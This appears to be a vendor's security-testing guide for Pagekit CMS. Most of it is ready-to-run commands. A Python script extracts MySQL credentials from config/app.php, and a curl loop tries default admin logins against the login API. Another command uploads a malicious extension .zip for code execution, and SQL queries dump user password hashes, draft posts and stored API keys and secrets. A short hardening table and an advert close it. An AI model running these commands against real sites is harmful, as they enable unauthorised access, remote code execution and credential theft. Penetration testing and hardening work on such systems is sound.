Pagekit Security Testing: Default Credentials, API Key, Database, and CMS

Pagekit is a modern PHP CMS built on Vue.js and the Symfony framework components. Key assessment areas: config/app.php exposes MySQL credentials (database.connections.mysql.password); the admin panel at /admin defaults to admin/admin on fresh installs; pk_user stores all user accounts with bcrypt hashes; and the Extension Manager allows installation of arbitrary PHP packages via .zip upload. This guide covers systematic Pagekit CMS security assessment.

Table of Contents

  1. config/app.php MySQL Credential Extraction
  2. Admin Panel and Extension Installation Assessment
  3. MySQL pk_user Hash and Content Extraction
  4. Pagekit Security Hardening

config/app.php MySQL Credential Extraction

# Pagekit — config/app.php MySQL credential extraction
PAGEKIT_URL="https://site.example.com"

# config/app.php — Pagekit database configuration (PHP array)
python3 -c "
import re
content = open('/var/www/pagekit/config/app.php').read()
patterns = {
    'password': r\"'password'\s*=>\s*'([^']+)'\",
    'user': r\"'user'\s*=>\s*'([^']+)'\",
    'dbname': r\"'dbname'\s*=>\s*'([^']+)'\",
    'host': r\"'host'\s*=>\s*'([^']+)'\",
    'prefix': r\"'prefix'\s*=>\s*'([^']*)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# 'password' => 'mysql-password-here'   <-- MySQL password (CRITICAL)

# Pagekit also supports SQLite
grep -E "sqlite|database|dbname" /var/www/pagekit/config/app.php 2>/dev/null

# Check config/app.php web access (must return 403/404)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PAGEKIT_URL}/config/app.php" 2>/dev/null)
echo "/config/app.php: HTTP ${STATUS}"

# Test admin credentials at /admin
for CRED in "admin:admin" "admin@example.com:admin" "admin:password"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${PAGEKIT_URL}/api/user/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" \
    -c /tmp/pk_c 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

Admin Panel and Extension Installation Assessment

# Pagekit admin panel — extension installation and RCE assessment
PAGEKIT_URL="https://site.example.com"

# Pagekit admin at /admin (configurable but /admin is default)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PAGEKIT_URL}/admin" 2>/dev/null)
echo "/admin: HTTP ${STATUS}"

# Pagekit REST API — authentication endpoint
curl -s -X POST "${PAGEKIT_URL}/api/user/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}' 2>/dev/null | \
  python3 -c "
import json, sys
try:
    d = json.load(sys.stdin)
    token = d.get('token', '')
    if token: print(f'Auth token: {token[:50]}...')
    uid = d.get('user', {}).get('id', 'none')
    role = d.get('user', {}).get('roles', [])
    print(f'UID: {uid}, roles: {role}')
except: pass
" 2>/dev/null

# Pagekit Extension Manager — install package from .zip
# Admin auth required; uploads and installs arbitrary PHP extensions
API_TOKEN="extracted-jwt-token"
curl -s -X POST "${PAGEKIT_URL}/api/package/upload" \
  -H "Authorization: Bearer ${API_TOKEN}" \
  -F "file=@/tmp/malicious_ext.zip" 2>/dev/null | head -5

# Pagekit Marketplace API — list installed extensions
curl -s "${PAGEKIT_URL}/api/package/themes" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | \
  python3 -c "
import json, sys
try:
    d = json.load(sys.stdin)
    for pkg in d[:5]:
        print(f'  {pkg.get(\"name\")}: {pkg.get(\"version\")}')
except: pass
" 2>/dev/null

MySQL pk_user Hash and Content Extraction

# Pagekit MySQL database — pk_user hash and content extraction
DB_PASS="extracted-db-password"

mysql -u pagekit -p"${DB_PASS}" pagekit 2>/dev/null << 'EOF'
-- pk_user — Pagekit user accounts with bcrypt hashes
SELECT u.id, u.username, u.email, u.password,
       u.status,         -- 1 = active
       u.registered, u.login,
       u.name
FROM pk_user u
WHERE u.status = 1
ORDER BY u.id;
-- password: bcrypt hash ($2y$10$...)
-- Check roles via pk_user_role join

-- pk_user_role — user to role mapping
SELECT ur.user_id, ur.role_id, r.name AS role_name
FROM pk_user_role ur
JOIN pk_role r ON r.id = ur.role_id
ORDER BY ur.user_id;
-- Administrator role: full admin panel access
-- Editor, Author, etc.

-- pk_post — blog posts including unpublished/private drafts
SELECT p.id, p.title, p.slug,
       p.status,         -- 1=published, 2=draft, 3=pending
       p.modified, p.date,
       u.username AS author
FROM pk_post p
LEFT JOIN pk_user u ON u.id = p.user_id
WHERE p.status IN (2, 3)  -- drafts and pending
ORDER BY p.modified DESC
LIMIT 20;

-- pk_option — Pagekit system settings (may contain API keys)
SELECT o.name, o.value
FROM pk_option o
WHERE o.name LIKE '%key%' OR o.name LIKE '%secret%'
  OR o.name LIKE '%password%' OR o.name LIKE '%api%'
ORDER BY o.name
LIMIT 20;
EOF

Pagekit Security Hardening

Pagekit Security Hardening Checklist:
Security TestMethodRisk
admin/admin default credential testing at /api/user/loginPOST /api/user/login JSON — admin/admin returns JWT token; full admin panel access including Extension Manager PHP code executionCritical
config/app.php MySQL password web accessibilityGET /config/app.php — HTTP 200 = MySQL password direct exposure; also exposes app secret key enabling JWT forgery without any credentialsCritical
pk_user bcrypt hash extraction with role identificationMySQL SELECT password FROM pk_user JOIN pk_user_role — bcrypt $2y$10$ hashes; Administrator role = full admin panel and Extension Manager RCEHigh
Extension Manager .zip upload PHP code executionPOST /api/package/upload — authenticated admin uploads malicious PHP extension .zip; extracted and executed with web server privileges for RCEHigh
pk_option API key and secret extractionMySQL SELECT value FROM pk_option WHERE name LIKE '%key%' — integration API keys, SMTP passwords, and OAuth secrets stored in site options tableMedium

Automate Pagekit Security Testing

Ironimo tests Pagekit deployments for admin/admin default credential brute-force at /api/user/login JWT endpoint, config/app.php MySQL password and app secret key web accessibility, pk_user bcrypt hash extraction with Administrator role identification, Extension Manager .zip upload PHP code execution assessment, pk_post draft and private post content enumeration, pk_option API key and integration secret extraction, Pagekit version disclosure for CVE targeting, /config/ directory web accessibility verification, JWT token forgeability if app secret exposed, and pk_user_role administrator account audit.

Start free scan